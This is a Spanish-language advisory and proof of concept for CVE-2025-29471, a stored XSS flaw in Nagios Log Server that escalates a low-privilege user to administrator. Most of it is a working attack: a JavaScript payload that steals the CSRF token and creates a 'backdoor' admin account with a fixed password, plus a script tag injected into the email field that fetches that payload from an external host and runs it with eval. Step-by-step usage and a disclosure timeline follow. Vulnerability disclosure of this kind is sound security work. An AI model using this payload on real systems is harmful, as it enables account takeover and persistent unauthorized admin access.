CVE-2025-29471

Vulnerabilidad XSS Almacenado en Nagios Log Server (Escalada de Privilegios a Admin)

▶️ PoC Demo

Fecha: 2025-04-02

Autor del Exploit: Seth Kraft

Página del Proveedor: https://www.nagios.com/

Registro de Cambios del Proveedor: https://www.nagios.com/changelog/#log-server

Enlace del Software: https://assets.nagios.com/downloads/nagios-log-server/versions.php

Versiones Afectadas: 2024R1.3.1 y anteriores

Probado en: Nagios Log Server 2024R1.3.1 (configuración predeterminada, Ubuntu 20.04)

CWE-ID: CWE-79

Puntuación Base: 8.3 (Alta)

Cadena de Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Tipo: Cross-Site Scripting Almacenado (XSS), Escalada de Privilegios

Autorización

Solo para fines de pruebas autorizadas e investigación. No pruebe ni explote esta vulnerabilidad en sistemas que no posea o para los que no tenga permiso explícito.

Descripción:

Una vulnerabilidad de XSS almacenado en Nagios Log Server 2024R1.3.1 permite a un usuario con pocos privilegios inyectar JavaScript malicioso en el campo 'email' de su perfil. Cuando un administrador visualiza los registros de auditoría, el payload se ejecuta, resultando en una escalada de privilegios mediante la creación no autorizada de una cuenta de administrador.

Prueba de Concepto

1. Aloja el payload xss.js en tu servidor externo con el siguiente contenido. Github funciona bien.

Actualiza <target-ip> con la IP/Hostname del objetivo de Nagios Log Server.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

2. Inicia sesión en Nagios Log Server como usuario estándar (no administrador).

3. Navega al endpoint de actualización de perfil:

   http://<target-ip>/nagioslogserver/profile/update

4. Inyecta el siguiente payload en el campo de email. Actualiza la línea fetch con la URL donde se almacena xss.js.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

5. Espera a que un administrador visualice los registros de auditoría. El JavaScript se ejecutará, creando una nueva cuenta de administrador:

Username: backdoor

Password: Password123!

6. Inicia sesión como backdoor con acceso completo de administrador en Nagios Log Server.

Cronología de Divulgación

• 2025-02-07: El investigador reportó la vulnerabilidad a Nagios
• 2025-02-14: Nagios confirmó la recepción del informe de seguridad
• 2025-03-03: El investigador solicitó una actualización a Nagios
• 2025-03-10: El investigador solicitó una actualización a Nagios
• 2025-03-17: Nagios confirma que la vulnerabilidad está abordada y que se planea lanzar una corrección pronto
• 2025-03-19: Nagios lanza Nagios Log Server 2024R2
• 2025-03-27: El investigador probó y verificó que Nagios Log Server 2024R2 resuelve la vulnerabilidad de XSS almacenado y actualizó a Nagios
• 2025-04-01: MITRE reserva CVE-2025-29471 para esta vulnerabilidad de XSS almacenado, pero los detalles permanecieron sin publicar debido a la ausencia de un aviso de seguridad público por parte del proveedor
• 2025-04-09: Nagios lanza un seguimiento a la corrección 2024R2 (2024R1.3.2) retroportando la corrección de la vulnerabilidad de XSS almacenado a la rama 2024R1
• 2025-04-15: CVE-2025-29471 fue publicado formalmente

Aviso Legal

Este trabajo fue realizado fuera de mi empleo y refleja mis esfuerzos personales en investigación de ciberseguridad.